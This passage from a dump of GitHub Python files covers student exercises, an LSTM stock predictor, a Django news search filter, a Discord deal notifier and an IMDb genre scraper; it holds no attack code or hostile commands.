char_needle == char:\n # if index == -1:\n # index = i\n # else:\n # index = -1\n\n if char_needle != char:\n break\n if index == -1:\n index = i\n # if char_needle == char and index == -1:\n # index = i\n # if char_needle != char and index != -1:\n # return -1\n print('index', index)\n return index\n\n\nif __name__ == '__main__':\n # assert Solution().strStr(haystack=\"hello\", needle=\"ll\") == 2\n assert Solution().strStr(haystack=\"hello\", needle=\"lo\") == 3\n","repo_name":"msgs08/leetcode-solutions-python","sub_path":"28_implement_strstr_TODO.py","file_name":"28_implement_strstr_TODO.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25940716551","text":"#-*- coding:utf-8 -*-\n\nfrom Run import *\nfrom Run_SectionPrediction import fitModel\nfrom keras.models import load_model\nfrom pandas.plotting import register_matplotlib_converters\n\ndef AppendRun(window_Size, codeFileName, sectionLength):\n\n path = os.path.dirname(os.path.abspath(__file__))\n onePath = os.path.join(path, 'OneDayPredict')\n sectionPath = os.path.join(path, 'SectionPredict')\n\n fileName = '{}.h5'.format(codeFileName.split('.')[0])\n appendFileName = \"{}_win{}_sec{}.h5\".format(codeFileName.split('.')[0], window_Size, sectionLength)\n\n x_train0, y_train0, x_test0, y_test0 = LoadData(50, codeFileName)\n\n #x_train = nanToZero(x_train0, True)\n #y_train = nanToZero(y_train0, False)\n x_test = nanToZero(x_test0, True)\n y_test = nanToZero(y_test0, False)\n pivotDatas0 = nanToZero(np.array(pivotDatas), False)\n\n #model = BuildModel()\n\n #model.fit(x_train, y_train, batch_size=512, epochs=100, validation_split=0.05, verbose = 2)\n #model.save(fileName)\n\n from keras.models import load_model\n\n model = load_model(os.path.join(onePath, fileName))\n append_model = load_model(os.path.join(sectionPath, appendFileName))\n\n dateLength = 10\n tmpData = pd.read_csv(os.path.join(os.path.dirname(path), 'PriceChangedData', codeFileName))\n tmpDate = tmpData['날짜']\n tmpDate = tmpDate[-dateLength:].values\n\n import datetime\n tmp = []\n for i in range(tmpDate.shape[0]):\n tmp.append(np.datetime64(datetime.datetime.strptime(str(tmpDate[i]), \"%Y%m%d\"), 'D'))\n \n for i in range(sectionLength):\n tmp.append(np.datetime64(tmp[-1].astype(datetime.datetime) + datetime.timedelta(days = 1), 'D'))\n \n tmp = np.array(tmp)\n\n from pandas.plotting import register_matplotlib_converters\n register_matplotlib_converters()\n\n x_test2 = x_test[-(dateLength + 1):-1]\n y_test2 = (y_test[-dateLength:].astype(np.float64) + 1) * pivotDatas[-dateLength:]\n append_x_test = x_test[-2:]\n pred = model.predict(x_test2)\n pred2 = append_model.predict(append_x_test)\n pred2 = pred2[-1]\n #print(pred2)\n result_predict = []\n for i in range(-len(pred), 0):\n result_predict.append(int((pred[i] + 1) * pivotDatas0[i - 1]))\n\n for pred2Data in pred2:\n result_predict.append(int((pred2Data + 1) * pivotDatas0[-1]))\n print('다음 10일 간 예측가 : ' + str(result_predict[-sectionLength:]))\n print('오늘 종가 : ' + str(y_test2[-1]))\n plt.figure(facecolor = 'white')\n plt.plot(tmp[:-sectionLength], y_test2, label='actual')\n plt.plot(tmp, result_predict, label='prediction')\n plt.xticks(rotation = -45)\n plt.legend()\n plt.show()\n\ndef AppendMakeModel(window_Size, codeFileName, sectionLength):\n path = os.path.dirname(os.path.abspath(__file__))\n onePath = os.path.join(path, 'OneDayPredict')\n sectionPath = os.path.join(path, 'SectionPredict')\n\n if os.path.isdir(onePath) == False:\n print(\"No Directory : \" + onePath)\n print(\"Make Directory : \" + onePath)\n os.makedirs(onePath)\n\n if os.path.isdir(sectionPath) == False:\n print(\"No Directory : \" + sectionPath)\n print(\"Make Directory : \" + sectionPath)\n os.makedirs(sectionPath)\n fileName = '{}.h5'.format(codeFileName.split('.')[0])\n appendFileName = \"{}_win{}_sec{}.h5\".format(codeFileName.split('.')[0], window_Size, sectionLength)\n\n x_train0, y_train0, x_test0, y_test0 = LoadData(50, codeFileName)\n\n noneCheck = (type(x_train0) == None) or (type(y_train0) == None) or \\\n (type(x_test0) == None) or (type(y_test0) == None)\n\n # 너무 짧아서 정규화가 안된 경우\n if noneCheck:\n return\n\n x_train = nanToZero(x_train0, True)\n y_train = nanToZero(y_train0, False)\n x_test = nanToZero(x_test0, True)\n y_test = nanToZero(y_test0, False)\n pivotDatas0 = nanToZero(np.array(pivotDatas), False)\n\n model = BuildModel()\n\n model.fit(x_train, y_train, batch_size=512, epochs=100, validation_split=0.05, verbose = 2)\n model.save(os.path.join(onePath, fileName))\n\n print('{} Done'.format(fileName))\n #model = load_model(fileName)\n\n if os.path.isfile(os.path.join(sectionPath, appendFileName)) == False:\n fitModel(window_Size, codeFileName, sectionLength)\n\ndef MakeCSV(window_Size, codeFileName, sectionLength):\n path = os.path.dirname(os.path.abspath(__file__))\n onePath = os.path.join(path, 'OneDayPredict')\n sectionPath = os.path.join(path, 'SectionPredict')\n predictCSVPath = os.path.join(os.path.dirname(path), 'PredictCSV')\n predictPNGPath = os.path.join(os.path.dirname(path), 'PredictPNG')\n csvName = 'Predict_{}'.format(codeFileName)\n pngName = 'Predict_{}.png'.format(codeFileName.split('.')[0])\n\n fileName = '{}.h5'.format(codeFileName.split('.')[0])\n appendFileName = \"{}_win{}_sec{}.h5\".format(codeFileName.split('.')[0], window_Size, sectionLength)\n\n x_test0, y_test0, stockName = LoadTestData(100, 50, codeFileName)\n\n if type(x_test0) == type(None):\n print('Data is too short.')\n return\n\n x_test = nanToZero(x_test0, True)\n y_test = nanToZero(y_test0, False)\n pivotDatas0 = nanToZero(np.array(pivotDatas), False)\n\n model = load_model(os.path.join(onePath, fileName))\n append_model = load_model(os.path.join(sectionPath, appendFileName))\n\n dateLength = 10\n tmpData = pd.read_csv(os.path.join(os.path.dirname(path), 'PriceChangedData', codeFileName))\n tmpDate = tmpData['날짜']\n tmpDate = tmpDate[-dateLength:].values\n\n import datetime\n tmp = []\n for i in range(tmpDate.shape[0]):\n tmp.append(np.datetime64(datetime.datetime.strptime(str(tmpDate[i]), \"%Y%m%d\"), 'D'))\n \n for i in range(sectionLength):\n tmp.append(np.datetime64(tmp[-1].astype(datetime.datetime) + datetime.timedelta(days = 1), 'D'))\n \n tmp = np.array(tmp)\n\n register_matplotlib_converters()\n\n x_test2 = x_test[-(dateLength + 1):-1]\n y_test2 = (y_test[-dateLength:].astype(np.float64) + 1) * pivotDatas0[-(dateLength + 1): -1]\n append_x_test = x_test[-2:]\n pred = model.predict(x_test2)\n pred2 = append_model.predict(append_x_test)\n pred2 = pred2[-1]\n result_predict = []\n for i in range(-len(pred), 0):\n result_predict.append(int((pred[i] + 1) * pivotDatas0[i - 1]))\n\n for pred2Data in pred2:\n result_predict.append(int((pred2Data + 1) * pivotDatas0[-1]))\n\n import sys\n reload(sys)\n sys.setdefaultencoding('utf8')\n\n plt.rc('font', family='NanumGothic')\n plt.rcParams['axes.grid'] = True\n\n plt.figure(facecolor = 'white')\n plt.title('{}({})'.format(stockName, codeFileName.split('.')[0]))\n plt.plot(tmp[:-sectionLength], y_test2, label='actual')\n plt.plot(tmp, result_predict, label='prediction', linestyle='--', marker='.')\n plt.xticks(rotation = -45, size = 5)\n plt.legend()\n\n if os.path.isdir(predictPNGPath) == False:\n os.mkdir(predictPNGPath)\n\n plt.savefig(os.path.join(predictPNGPath, pngName), dpi=300)\n\n if os.path.isdir(predictCSVPath) == False:\n os.mkdir(predictCSVPath)\n \n column = ['종목코드', '날짜', '예측가']\n\n dates = []\n\n for date in tmp:\n dates.append(np.int64(pd.to_datetime(date).strftime(\"%Y%m%d\")))\n\n dates = np.array(dates)\n \n predictData = pd.DataFrame(\\\n np.array([[codeFileName.split('.')[0]]*dates.shape[0], dates, result_predict]).T, \\\n columns = column)\n\n data = pd.DataFrame(columns = column)\n csvFilePath = os.path.join(predictCSVPath, csvName)\n if os.path.isfile(csvFilePath) == True:\n data = pd.read_csv(csvFilePath, \\\n dtype = {'종목코드':np.str, '날짜':np.int64, '예측가':np.int64})\n data = data.loc[data['날짜'] < dates[0]]\n \n data = data.append(predictData)\n\n data.to_csv(csvFilePath, header = True, index = False)\n\nif __name__ == \"__main__\":\n AppendRun(50, '005930.csv', 10)\n print('Run time : ' + str(timedelta(seconds = time.time() - start)))","repo_name":"G0DCH/KOSPI_Stock_Prediction","sub_path":"Crawler Py Code/LSTM/Run_AppendSection.py","file_name":"Run_AppendSection.py","file_ext":"py","file_size_in_byte":8019,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"26351156665","text":"# * Да се прочете секвенция от файл [data/dna_chromosome_1.seq] и\n# да се разменят всички символте “А” → “T”, “T” → “A” . Резултатът да се записва в нов файл с име [dna_chromosome_solve_1.seq] (20т.)\n\ncomplementary_translator = ''.maketrans('ATGC', 'TACG')\n\nwith open('data/dna_chromosome_1.seq', 'r') as input_data:\n for line in input_data:\n seq = line.strip()\n with open('dna_chromosome_solve_1.seq', 'w') as out:\n out.write(seq.translate(complementary_translator))\n break\n","repo_name":"radoslavzi/BioInformatics","sub_path":"Valentin Aitken/SEMESTER_1/sample_exam1/4_translate.py","file_name":"4_translate.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"bg","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6996875658","text":"# -*- coding: utf-8 -*-\n\nfrom django import forms\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.conf import settings\nfrom juck.news.models import News\nfrom juck.question.models import Question\nfrom django.db.models import Q\n\n\nclass NewsListFilter:\n class SecNewsListFilterForm(forms.Form):\n\n content = forms.CharField(label=u'جستجو کلی', max_length=150, required=False,\n help_text=u'این متن در بین عنوان ها و متن اخبار جستجو می گردد.',\n widget=forms.TextInput(\n attrs={'placeholder': u'جستجو'}))\n\n title = forms.CharField(label=u'عنوان', max_length=150, required=False,\n help_text=u'عنوان کامل و یا بخشی از عنوان خبر که در جستجوی آن هستید را در این جا وارد کنید. دقت کنید که جواب های به دست آمده از این قسمت با قسمت های دیگر اشتراک گرفته می شود.',\n widget=forms.TextInput(\n attrs={'placeholder': u'عنوان خبر'}))\n\n description = forms.CharField(label=u'توضیحات', max_length=150, required=False,\n help_text=u'متن کامل و یا بخشی از متن خبر که در جستجوی آن هستید را در این جا وارد کنید. دقت کنید که جواب های به دست آمده از این قسمت با قسمت های دیگر اشتراک گرفته می شود.',\n widget=forms.Textarea(\n attrs={'placeholder': u'توضیحات'}))\n #from_date = forms.DateField(label=u'از تاریخ', required=False,widget=forms.DateField )\n #to_date = forms.DateField(label=u'تا تاریخ', required=False,widget=forms.DateField )\n\n # min_score = forms.CharField(label=u'حداقل امتیاز', required=False,\n # help_text=u'حداقل امتیازی که برای یک خبر در نظر دارید را در این محل وارد کنید. دقت کنید که جواب های به دست آمده از این قسمت با قسمت های دیگر اشتراک گرفته می شود.', )\n # max_score = forms.CharField(label=u'حداکثر امتیاز', required=False,\n # help_text=u'حداکثر امتیازی که برای یک خبر در نظر دارید را در این محل وارد کنید. دقت کنید که جواب های به دست آمده از این قسمت با قسمت های دیگر اشتراک گرفته می شود.')\n\n\n #answer = forms.CharField(label=u'پاسخ', max_length=150, required=False, widget=forms.TextInput(\n # attrs={'class': 'search-tab-content-input input-12', 'placeholder': u'محتوی پاسخ:'}))\n #answered = forms.ChoiceField(label=u'وضعیت پاسخ', required=False, choices=(\n # ('', u'وضعیت پاسخ'), (True, u'پاسخ داده شده'), (False, u'پاسخ داده نشده'), ))\n\n Form = SecNewsListFilterForm\n\n def init_filter(self, GET_dict, **kwargs):\n self.form = self.Form(GET_dict)\n\n filter_kwargs = kwargs\n\n if self.form.is_valid():\n content = self.form.cleaned_data.get('content', '')\n title = self.form.cleaned_data.get('title', '')\n description = self.form.cleaned_data.get('description', '')\n #from_date = self.form.cleaned_data.get('from_date', '')\n #to_date = self.form.cleaned_data.get('to_date', '')\n\n # min_score = self.form.cleaned_data.get('min_score', '')\n # max_score = self.form.cleaned_data.get('max_score', '')\n\n res = News.objects.all()\n #if content:\n # filter_kwargs.update({'title__icontains': content})\n #res = res.filter(Q(description__icontains= content))\n\n if title:\n filter_kwargs.update({'title__icontains': title})\n #res = res.filter(Q(title__icontains= content))\n if description:\n filter_kwargs.update({'content__icontains': description})\n #res = res.fi\n #if not (title or description):\n # #res = News.objects.filter(Q(title__icontains=content) | (Q(content__icontains=content)))\n # filter_kwargs.update( Q(title__icontains=content) | (Q(content__icontains=content)))\n #if from_date:\n # filter_kwargs.update({'publish_date__gte': from_date})\n #if to_date:\n # filter_kwargs.update({'answer__content__icontains': to_date})\n # News.objects.annotate()\n news_score = News.objects.extra(select={'aggregate': 'likes - dislikes'})\n # recommended_products = recommended_products.extra(order_by=['-aggregate'])[0:6]\n # if min_score:\n # filter_kwargs.update({'score__gte': min_score})\n # if max_score:\n # filter_kwargs.update({'score__lte': max_score})\n\n # filter_kwargs.update( Q(title__icontains=content) | (Q(content__icontains=content)))\n # filter_kwargs.update({'title__icontains': content})\n news = News.objects.filter(**filter_kwargs)\n if content:\n news = news.filter((Q(title__icontains=content) | Q(content__icontains=content)))\n count = news.count()\n\n news = news.order_by('-publish_date')\n paginator = Paginator(news, settings.RESULTS_PER_PAGE)\n page = GET_dict.get('page')\n\n try:\n result = paginator.page(page)\n except PageNotAnInteger:\n result = paginator.page(1)\n except EmptyPage:\n result = paginator.page(paginator.num_pages)\n\n return result, count\n\n def get_form(self):\n return self.form","repo_name":"AlirezaSadeghi/Juck","sub_path":"src/juck/news/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":6076,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27670155217","text":"\"\"\"\nCourse: Python OOP - Object Oriented Programming for Beginners\nBy: Estefania Cassingena Navone\n\"\"\"\n\nclass Movie:\n\n id_counter = 1\n\n def __init__(self, title, year, language, rating):\n self._id = Movie.id_counter\n self.title = title\n self.year = year\n self.language = language\n self.rating = rating\n\n Movie.id_counter += 1\n\n\nmy_movie = Movie(\"Pride and Prejudice\", 2005, \"English\", 4.7)\nyour_movie = Movie(\"Sense and Sensibility\", 1995, \"English\", 4.6)\n\nprint(my_movie.id) # Throws an error for both instances.\nprint(your_movie.id)\n\nprint(my_movie._id) # Can be accessed but it shouldn't be.\nprint(your_movie._id)\n","repo_name":"AekarinOngart/Object-Oriented-Programming","sub_path":"Example/Chap02/2. public_and_non_public/5 - Movie Class.py","file_name":"5 - Movie Class.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"19214121288","text":"import json\nfrom urllib.request import Request, urlopen\nfrom configparser import ConfigParser\n\nXKOM_API_URL = \"https://mobileapi.x-kom.pl/api/v1/xkom/hotShots/current?onlyHeader=true\"\nXKOM_API_AUTH = \"jfsTOgOL23CN2G8Y\"\nUSER_AGENT = (\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 \"\n \"Safari/537.36 RuxitSynthetic/1.0 v6630565191794278100t3234796395378176538 ath259cea6f altpriv cvcv=2 \"\n \"smf=0\"\n)\n\n\ndef get_webhook_link_from_config() -> str:\n config = ConfigParser()\n config.read(\"./config.ini\")\n try:\n webhook_url = config[\"discord\"][\"webhook_url\"]\n except KeyError:\n with open(\"./config.ini\", \"w\") as config_file:\n config_file.write(\"[discord]\\nwebhook_url = PASTE YOUR WEBHOOK URL HERE\\n\")\n print(\n \"no config.ini file found, created one for you - please configure it before you run this script again\"\n )\n exit(1)\n\n return webhook_url\n\n\ndef request_xkom_hotshot() -> dict:\n with urlopen(\n Request(XKOM_API_URL, headers={\"x-api-key\": XKOM_API_AUTH})\n ) as response:\n return json.loads(response.read())\n\n\ndef build_and_send_embed(xkom_data: dict) -> None:\n payload = {\n # you can set contents to \"<@YOUR DISCORD ID HERE>\" to get pinged every time this is executed\n \"content\": None,\n \"embeds\": [\n {\n \"title\": xkom_data[\"PromotionName\"],\n \"description\": f\"~~%.2f PLN~~ => **%.2f PLN**\"\n % (xkom_data[\"OldPrice\"], xkom_data[\"Price\"]),\n \"url\": \"https://www.x-kom.pl/goracy_strzal\",\n \"footer\": {\n \"text\": f\"Pozostało {xkom_data['PromotionTotalCount'] - xkom_data['SaleCount']} na\"\n f\" {xkom_data['PromotionTotalCount']} produktów \"\n },\n \"image\": {\"url\": xkom_data[\"PromotionPhoto\"][\"Url\"]},\n }\n ],\n }\n urlopen(\n Request(\n get_webhook_link_from_config(),\n data=json.dumps(payload).encode(\"utf-8\"),\n method=\"POST\",\n headers={\"User-Agent\": USER_AGENT, \"Content-Type\": \"application/json\"},\n )\n )\n\n\nif __name__ == \"__main__\":\n build_and_send_embed(request_xkom_hotshot())\n","repo_name":"sevnnn/xkom-hotshot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"35686788388","text":"import cv2\nimport torch\nimport numpy as np\nfrom attack_utils import add_pulse_noise, add_gauss_noise\n\nif __name__ == '__main__':\n\n base = torch.ones((255,255,3)) * 127\n base = base.cuda()\n '''gauss noise'''\n sigma = 0.1\n gauss_vis = add_gauss_noise(base,sigma)\n '''impulse noise'''\n prob = 0.2\n impulse_vis = add_pulse_noise(base,prob)\n def tensor2img(tensor):\n return np.array(tensor.cpu()).clip(0,255).astype(np.uint8)\n gauss_img = tensor2img(gauss_vis)\n impulse_img = tensor2img(impulse_vis)\n cv2.imwrite('gauss_noise.jpg',gauss_img)\n cv2.imwrite('impulse_noise.jpg',impulse_img)\n\n\n\n","repo_name":"MasterBin-IIAU/CSA","sub_path":"pysot/tools/vis_gauss_impulse_noise.py","file_name":"vis_gauss_impulse_noise.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"11"} +{"seq_id":"16724714594","text":"from scipy.signal import convolve2d\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nimport struct\r\nimport torchvision.transforms as transforms\r\nimport pandas as pd\r\nimport xlrd\r\n\r\ntransform = transforms.Resize(244, interpolation=2) # 224 is the standard image size for resnet 18\r\n\r\nexcel = np.asarray(pd.read_excel( 'Data_shuffled_and_Blurred/labels_shuffled.xlsx', header=None )) #excel file loading\r\nNo_classes = 2\r\nnumber_of_samples = len(excel) # since number of labels will be fitched from the excel file\r\nNo_testing_samples = int(number_of_samples *0.2)\r\nNo_training_samples = int(number_of_samples - No_testing_samples)\r\nf_traing = open('training_dataset.bin', 'wb')\r\nf_test = open('testing_dataset.bin', 'wb')\r\n\r\nh=struct.pack('H', No_training_samples)\r\nf_traing.write(h)\r\nfor p in range(1 , No_training_samples+1):\r\n\t#--------------------------------------------------------------------------------------------------------\r\n\t# to fetch training data \r\n\tfile_name = 'Data_shuffled_and_Blurred/VRayLightingAnalysis_{}.jpg'.format(p)\r\n\r\n\timage = transform(Image.open(file_name)) #load image\r\n\t# plt.figure()\r\n\t# plt.imshow(np.asarray(image))\r\n\timage = image.resize((224 ,224)) # to avoid loosing data when renet18 center crops the image\r\n\t# plt.figure()\r\n\t# plt.imshow(np.asarray(image))\r\n\t# plt.show()\r\n\timage = np.asarray(image)\r\n\timage = image.astype('uint8')\r\n\t[xM,xN] = image.transpose(2, 0, 1)[0].shape\r\n\tx = np.reshape(image, (xM*xN*3))\r\n\tlabel_index = int(excel[p-1]) # p-1 to match the label and image loops\r\n\tlabel = np.array(label_index)\r\n\tlabel = label.astype('uint8')\r\n\r\n\t#--------------------------------------------------------------------------------------------------------\r\n\r\n\r\n\t#start---------------------------------------------------------------------------------------------------\r\n\t# pacing data and writing it on the binary file \r\n\txlen = len(x)\r\n\txpacked = struct.pack('B'*xlen, *x)\r\n\tlabelPacked = struct.pack('B', label)\r\n\tf_traing.write (xpacked)\r\n\tf_traing.write(labelPacked)\r\n\r\n\r\n\r\n\t#end-----------------------------------------------------------------------------------------------------\r\n\r\n\r\n\r\nf_traing.close()\r\n\r\nh=struct.pack('H', No_testing_samples)\r\nf_test.write(h)\r\nfor p in range(No_training_samples+1 , 1+number_of_samples):\r\n\t#--------------------------------------------------------------------------------------------------------\r\n\t# to fetch testing data \r\n\tfile_name = 'Data_shuffled_and_Blurred/VRayLightingAnalysis_{}.jpg'.format(p)\r\n\timage = transform(Image.open(file_name)) #load image\r\n\timage = image.resize((224 ,224)) # to avoid loosing data when renet18 center crops the image\r\n\timage = np.asarray(image)\r\n\t[xM,xN] = image.transpose(2, 0, 1)[0].shape\r\n\tx = np.reshape(image, (xM*xN*3))\r\n\tlabel_index = int(excel[p-1]) # p-1 to match the label and image loops\r\n\tlabel = np.array(label_index)\r\n\tlabel = label.astype('uint8')\r\n\t#--------------------------------------------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\t#start---------------------------------------------------------------------------------------------------\r\n\t#pacing data and writing it on the binary file f_test\r\n\txlen = len(x)\r\n\txpacked = struct.pack('B'*xlen, *x)\r\n\tf_test.write (xpacked)\r\n\tlabelPacked = struct.pack('B', label)\r\n\tf_test.write(labelPacked)\r\n\r\n\r\n# plt.imshow(image.astype('uint8'))\r\n# plt.show()\r\n\r\n\r\n\t#end-----------------------------------------------------------------------------------------------------\r\n\r\n\r\nf_test.close()\r\n","repo_name":"FaisalSarhan/LeakageDetectionEnergyTeamUJ","sub_path":"generate_dataset.py","file_name":"generate_dataset.py","file_ext":"py","file_size_in_byte":3541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27484725445","text":"# encoding: utf-8\n\"\"\"\n@version: ??\n@author: chenyitao\n@license: Apache Licence \n@software: PyCharm\n@file: helper.py\n@time: 2019-02-13 14:51\n\"\"\"\nimport logging\n\nimport six\nfrom tddc.base.util import Singleton\n\nfrom ...base.redisex_for_manager import RedisExForManager\n\n\nlog = logging.getLogger(__name__)\n\n\n@six.add_metaclass(Singleton)\nclass ConfigsHelper(object):\n\n key_base = 'tddc:worker:config'\n\n def edit(self, path, config):\n _path = '{}:{}'.format(self.key_base, ':'.join(path))\n for k1, v1 in config.items():\n for k2, v2 in v1.items():\n for k3, v3 in v2.items():\n RedisExForManager().hset('{}:{}:{}'.format(_path, k1, k2), k3, v3)\n return True\n\n def delete(self, path, config):\n _path = '{}:{}'.format(self.key_base, ':'.join(path))\n for k1, v1 in config.items():\n if v1 == '*':\n RedisExForManager().clean('{}:{}:*'.format(_path, k1))\n return True\n for k2, v2 in v1.items():\n if v2 == '*':\n RedisExForManager().clean('{}:{}:{}'.format(_path, k1, k2))\n return True\n for k3, _ in v2.items():\n RedisExForManager().hdel('{}:{}:{}'.format(_path, k1, k2), k3)\n return True\n","repo_name":"Lockeysama/DistributedCrawler","sub_path":"tddc/manager/api/app/api/configuration/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"36466366534","text":"import logging\n\nfrom sklearn.metrics import confusion_matrix, roc_auc_score\n\nconsole = logging.StreamHandler()\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nconsole.setFormatter(formatter)\nLOG = logging.getLogger(\"Stats Evaluator\")\nLOG.addHandler(console)\nLOG.setLevel(logging.INFO)\n\n\ndef stats_evaluation(set_tested, set_predicted):\n \"\"\"\n evaluates predictions compared to known results by creating a confusion matrix\n calculates various different statistical properties\n :param set_tested: known classification\n :param set_predicted: predicted classification\n :return:\n \"\"\"\n LOG.info(\"Creating confusion matrix\")\n cm = confusion_matrix(set_tested, set_predicted)\n sum_tp = cm[1][1]\n LOG.info(\"TP = \" + str(sum_tp))\n sum_tn = cm[0][0]\n LOG.info(\"TN = \" + str(sum_tn))\n sum_fp = cm[0][1]\n LOG.info(\"FP = \" + str(sum_fp))\n sum_fn = cm[1][0]\n LOG.info(\"FN = \" + str(sum_fn))\n LOG.info(\"All = \" + str(sum_tn + sum_tp + sum_fn + sum_fp))\n LOG.info(\"SP = \" + str(sum_tn / (sum_tn + sum_fp)))\n recall = sum_tp / (sum_tp + sum_fn)\n LOG.info(\"SE = \" + str(recall))\n precision = sum_tp / (sum_tp + sum_fp)\n LOG.info(\"PPV = \" + str(precision))\n LOG.info(\"NPV = \" + str(sum_tn / (sum_tn + sum_fn)))\n LOG.info(\"MCC = \" + str((sum_tp * sum_tn - sum_fp * sum_fn) / (\n (sum_tn + sum_fn) * (sum_tn + sum_fp) * (sum_tp + sum_fn) * (sum_tp + sum_fp)) ** (1 / 2)))\n LOG.info(\"F-Score = \" + str(2 * ((precision * recall) / (precision + recall))))\n LOG.info(\"ACC = \" + str((sum_tn + sum_tp) / (sum_tn + sum_tp + sum_fn + sum_fp)))\n LOG.info(\"AUROC = \" + str(roc_auc_score(set_tested, set_predicted)))","repo_name":"igemsoftware2018/Team_Tuebingen_MHCBoost","sub_path":"src/evaluation/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"39449501123","text":"from django.conf.urls import patterns, include, url\nfrom django.conf import settings\n\nimport messagewall.urls\n\nurlpatterns = patterns(\n '',\n url(r'^', include(messagewall.urls)),\n)\n\nif settings.DEBUG:\n urlpatterns += patterns(\n '',\n (r'^static/(?P.*)$',\n 'django.views.static.serve',\n {'document_root': settings.STATIC_ROOT}\n ),\n )\n","repo_name":"slok/redis-first-steps","sub_path":"examples/django/dwall/dwall/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39666826226","text":"def fib_mod(n, m):\r\n \"\"\"\r\n >>> fib_mod(1025, 55)\r\n 5\r\n >>> fib_mod(12589, 369)\r\n 89\r\n >>> fib_mod(1598753, 25897)\r\n 20305\r\n \"\"\"\r\n pisano = [0, 1]\r\n while True:\r\n if len(pisano) > 2 and pisano[-1] == 1 and pisano[-2] == 0:\r\n pisano = pisano[: -2]\r\n break\r\n pisano.append((pisano[-1] + pisano[-2]) % m)\r\n # print(pisano)\r\n # print(pisano[n % len(pisano)])\r\n return pisano[n % len(pisano)]\r\n\r\n\r\ndef slow_fm(n, m):\r\n \"\"\"\r\n >>> slow_fm(1025, 55)\r\n 5\r\n >>> slow_fm(12589, 369)\r\n 89\r\n >>> slow_fm(1598753, 25897)\r\n 20305\r\n \"\"\"\r\n from DSA import algorithms as f\r\n return f.fib(n) % m\r\n \r\n\r\nif __name__ == '__main__':\r\n import doctest\r\n doctest.testmod()\r\n","repo_name":"Abusagit/practise","sub_path":"Stepik/algorithms_toolbox/fib_mod.py","file_name":"fib_mod.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24917166171","text":"n=int(input())\na=list(map(int,input().split()))\nx=0\nk=0\nwhile k= a[2*j]:\n x+=a[2*j+1]\n a[2*j+1]=0\nif x==0:\n print('-1')\nelse:\n print(x)\n ","repo_name":"hsshin0602/python-summer.edu","sub_path":"day3/R-3.py","file_name":"R-3.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17839437141","text":"\n# Import library for web scrapping\nfrom bs4 import BeautifulSoup as SOUP\nimport re\nimport requests as HTTP\n\n# Main Function for scraping\ndef main(emotion):\n\n\tif(emotion == \"Sad\"):\n\t\turlhere = 'http://www.imdb.com/search/title?genres=drama&title_type=feature&sort=moviemeter, asc'\n\n\telif(emotion == \"Disgust\"):\n\t\turlhere = 'http://www.imdb.com/search/title?genres=musical&title_type=feature&sort=moviemeter, asc'\n\n\telif(emotion == \"Anger\"):\n\t\turlhere = 'http://www.imdb.com/search/title?genres=family&title_type=feature&sort=moviemeter, asc'\n\n\telif(emotion == \"Anticipation\"):\n\t\turlhere = 'http://www.imdb.com/search/title?genres=thriller&title_type=feature&sort=moviemeter, asc'\n\n\telif(emotion == \"Fear\"):\n\t\turlhere = 'http://www.imdb.com/search/title?genres=sport&title_type=feature&sort=moviemeter, asc'\n\n\telif(emotion == \"Enjoyment\"):\n\t\turlhere = 'http://www.imdb.com/search/title?genres=thriller&title_type=feature&sort=moviemeter, asc'\n\n\telif(emotion == \"Trust\"):\n\t\turlhere = 'http://www.imdb.com/search/title?genres=western&title_type=feature&sort=moviemeter, asc'\n\n\n\telif(emotion == \"Surprise\"):\n\t\turlhere = 'http://www.imdb.com/search/title?genres=film_noir&title_type=feature&sort=moviemeter, asc'\n\n\n\tresponse = HTTP.get(urlhere)\n\tdata = response.text\n\n\t# Parsing the data using\n\t# BeautifulSoup\n\tsoup = SOUP(data, \"lxml\")\n\n\t# Extract movie titles from the\n\t# data using regex\n\ttitle = soup.find_all(\"a\", attrs = {\"href\" : re.compile(r'\\/title\\/tt+\\d*\\/')})\n\treturn title\n\n\nif __name__ == '__main__':\n\n\temotion = input(\"Enter the emotion: \")\n\ta = main(emotion)\n\tcount = 0\n\n\tif(emotion == \"Disgust\" or emotion == \"Anger\"\n\t\t\t\t\t\tor emotion==\"Surprise\"):\n\n\t\tfor i in a:\n\n\n\t\t\ttmp = str(i).split('>;')\n\n\t\t\tif(len(tmp) == 3):\n\t\t\t\tprint(tmp[1][:-3])\n\n\t\t\tif(count > 